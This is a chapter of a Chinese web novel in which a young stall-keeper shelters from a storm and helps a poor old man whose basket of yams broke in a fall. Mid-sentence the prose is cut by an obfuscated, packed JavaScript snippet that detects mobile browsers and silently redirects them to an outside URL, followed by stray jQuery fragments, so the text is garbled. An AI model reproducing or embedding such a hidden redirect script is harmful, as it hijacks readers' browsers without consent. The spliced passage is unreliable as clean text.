迎着越发大的雨势,就连街上的行人都少了许多。
朱奕寒看了眼天色,转头又瞧了眼茶馆里也不多的客人们,心里知道今日东西怕是卖不出去多少了。
他们的位置还算好,前有推车的雨挡,左右又有茶馆的墙壁能够稍微遮挡住一边的大风。
但即便这样,狂风裹着雨水和小雪子,时不时吹打到脸上还是生疼的厉害。
不少摊贩已经收拾了自个的小摊,转头求问附近的店家能不能在门口稍稍避避风雨了。
菜头见状,赶忙扭头问朱奕寒要不要也一起去避避。
看着这天气的势头,一时半会儿怕是停不得风雨,小推车虽然看着还挺结实的,但毕竟是家里最值钱的东西了。
真要是出了点什么问题,大家都难免会觉得心疼。
朱奕寒抬头瞧了眼旁边的茶馆,坚实的地基,外延的屋檐,还有能遮风避雨的四面墙壁。
果然还是有家属于自己的铺面好啊。
原本热闹的集市现在都是忙着收摊的,大家朝着就近的铺面询问能不能避雨。
有的同意了,也有的觉着挡着自家做生意了婉拒的。
眼瞧着茶馆门口聚集的人越来越多,想来应当也不差自己这几个人。
朱奕寒赶紧拉着几个人一起过去,“快,趁现在门口那块还有位置,我们也赶紧过去吧。”
他们离的近,虽然来的晚,但好在也在门口屋檐下挤了个位置出来。
大家聚在一起,原本有些冷清的氛围也一下变得热闹了起来。
你说两句,我说两句,七嘴八舌的好不热闹。
“早上出门还好好的,怎么一下子就这样大风大雨起来了?”菜头一边骂着这鬼天气,一边在推车的抽屉里忙活着找擦水用的布巾。
虽然有雨挡,但还是有些地方被打湿了。
这个天气要是一不注意受寒了,那风寒八成是跑不掉了的。
好在推车里面之前备的有擦汗和清理台面的布巾,这时候也不计较什么干净不干净,大家都各自拿了一条囫囵擦着脑袋和衣服上的雨水。
因为来不及回去,选择在茶馆门口不远处避雨的人不少,本来就是借地避雨,大家下意识都选择挤在了两边的门口屋檐下,让开了茶馆的大门进出口。
免得堵住大门,耽误人家店里的生意。
有屋檐比没屋檐还是要强些,只是零零散散三五个聚在一起的身形都有些狼狈。
好在衣裳和发丝虽然都有些蓬乱湿透,但都没有湿透,能有片瓦挡雨已经是足够幸运。
只是这个天气心里难免担心起了自家的买卖,嘴里念念有词的,“快些停吧。”
不少人都是赶着大早来的,只这个天气,怕是真雨停了,路上也不会有太多的行人。
正在愁眉不展的时候,茶馆的小二过来门口了,手上还掂着一个不小的茶缸。
“这是掌柜的吩咐我送过来的热水,今日风雨大,你们能喝点热水去去寒也好。”
没想到竟然还能收到热水。
县城里现在的柴火价钱可不算便宜,面对茶馆掌柜的好意,大家一时都有些无措。
无奈,小二也只能多招呼了两句,“掌柜的说了,这壶热水不要你们的钱!”“真的真的!”
听到这话后,终于有人掏出了自己带着的碗,见着前面的人倒了热水回来,后面的人也就三三两两跟着一起上前倒了热水。
菜头一个人挤在倒热水的队伍里,顺着一溜儿给自个人的碗里都添了热水。
手中捧着热水,暖手的时候还能时不时喝一口,原本因为雨夹雪有些瑟瑟发抖的大家也一下舒服了许多。
希望不会感染上风寒。
谢过茶馆掌柜后,大家也只规矩的端着热水站在门口。
也就是这个时候,街头拐角处突然出现了一个挑着东西的老伯。
不知道在雨中行走了多久,甫一出现在街上的时候看着就已经狼狈的不行。
身上蓑衣斗笠全无,也不知道是从哪里来的,只仓皇的一边竭力躲雨一边继续带着扁担沿着街道边缘走。
有人眼尖先瞅见了他,忙不迭的赶紧朝他挥了挥手,“老伯!老伯这边!”
他这样一喊,就有更多的人瞧见了。
“快!快过来这边避避雨再走!”
顶着这样大的雨还在外面行走,非要把人给浇坏了。
隔得不算太远,老伯似乎是听见了这边的动静,隔着雨幕看见他微微抬了抬头,然后就忙不迭的紧了紧自己肩上扁担的绳子。
下一刻就忙慌慌的从雨幕里往茶馆这边走。
许是心里着急了,眼见着都快走到茶馆这边了,也不知道踩到地上哪里,脚下一滑,竟是‘咕噜’一声直直摔了一跤。
这一下摔得像是有些厉害,连带着原本一直小心翼翼挑着的箩筐也都翻了过去。
“哎呀!”大伙见状了吓了一跳。
还没等反应过来,朱奕寒就看到屋檐下突然就有人一头冲进了雨幕里。
“菜头哥!”阿桂下意识叫了句。
菜头先是抬手扶着老伯就想要先搀到能避雨的地方来,但老伯哪怕摔了也舍不得丢下自己的那两个扁担。
两人眼见着马上就要僵持住,菜头随意抹了一把自己面上的雨水,就想要再劝这犟脾气的老伯两句。
结果一抬头,才发现朱奕寒不知道什么时候也跟着跑过来了。
“少爷你来这干嘛啊?!”
朱奕寒也算是发现了,菜头这小子每次总在这种时候叫自己少爷。
但现在显然不是斗嘴的时候,他没反驳,只一把抢过地上散落着的扁担箩筐,“少管!快走!”
眼见着自己的箩筐也被带上了,原本还挣扎着不愿意离开的老伯,这时总算也老实了下来。
等到顺利带着人回到了茶馆底下,两人原本已经快干透的衣服又被打湿的不行。
好在一旁蹲守着的众人见状也默契的该递热水递热水,该传布巾传布巾的。
“谢谢,谢谢你们。”好不容易找到了能避雨的地方,老伯虽然有些局促,却也不好意思的挨个同周围人都道谢了一遍。
“坐这坐这,这里暖和。”
“谢谢,谢谢。”
等到好不容易安顿好了,朱奕寒一边装着是从推车抽屉拿取的掩护,一边从系统格子里取出了粗布衣服。
之前还觉得亏了,现在想想,给自己花钱就能返两倍的东西也挺好的。
湿透的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024768|194345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣服贴身穿着风一吹就受凉了,等钻在梅大婶的招牌布帆底下好不容易换好了衣服出来,再看到那老伯身上不知道裹着谁家摊子上的油布,正坐在一旁烤山芋的摊子炉前。
远远瞧着像是在烤火,但时不时却还抬手擦两把自己的脸。
菜头冲出去扶人的时候没想那么多,当时老伯不愿意离开,他心里气的慌,连带着嘴上也说过两句。
但这会子,瞧见人蹲在角落里看着自己的那两筐箩筐偷偷抹着眼泪。
他的心里也有些不好受。
盯着瞧了一会儿,实在是没忍住才又慢慢挪着步子过去,同人打听了一圈。
等回来再同朱奕寒解释的时候,语气里也带着几分感慨。
这老伯是县城周边村子里的,箩筐里面装着的他是从村里一路背过来的山药,寻常正是这个时节挖了好到县城里面叫卖。
没想到今日刚进城,东西还没有卖出去就因为雨天路滑摔的不成模样了。
刚刚被扶到茶馆底下的时候,周围众人还帮着上下检查了一下胳膊腿,好在没出什么大事。
但老伯显然自己不觉得这是没出什么大事。
“嗨呀,就是那一下脚底打滑了……没稳住。”
他嘴上虽然说的释怀,但眼神却依旧有些无力的盯着面前炉子里面的火焰,脑子里想的是自己从村里来县城的路途二十里。
这趟为了能准时进城卖东西,赶在月亮还没彻底落下的时候他就已经出门了。
两个时辰,五十斤的山药,走过了那蜿蜒崎岖的土路,好不容易进了能卖东西的县城,结果就这样说没就没了。
为了这趟进城,他还交了两文的进城费,为了能多省下些钱一路上也没舍得花钱买食水,结果现如今,也只能再顶着风雨把这些摔坏了的山药再给背回去了。
早知道是这样,刚刚倒还不如是自己摔到了呢。
他一边想着,一边没忍住又用那手抹了一把眼角。
大家这个天气还出门摆摊,自然也都是想讨生活的,有两个感性些的大娘听到这些话后,也都没忍住跟着叹了好几口气。
朱奕寒看了眼菜头,又看了眼那大伯,转头也凑到那两个箩筐跟前看了一眼。
这里面装着的山药确实是好,只是现在一根根断裂的厉害,长长短短不一,若是天气好还能赶在集市跟前贱卖些回本来。
可如今这个天气,即便想要贱卖出去都没人来买。
他下意识看了眼只有自己能看见的系统,摸了摸钱袋,“老伯,要是把你这两筐的山药都买下,一起大概要多少钱啊?”
这话一出,不止老伯立时顿住了擦眼角的手,就连菜头都下意识扭过了头来看他。
虽然刻意压低了嗓音,但落在这个安静的时候还是有些大声,“老朱?你真要买这东西啊?!”
这不是五斤山药,十斤山药,而是足足五十多斤的山药啊!
家里四个人每天撑死着只吃山药,少说也要吃上个十天半个月才能吃完吧?
特别这还是淋了雨又摔断过的山药,要不了一天自己就开始烂掉发霉了。
那老伯听到后,也一个劲的跟着摆手,“不不不年轻人,大家日子都过得不容易,你们真不用再这样帮我——”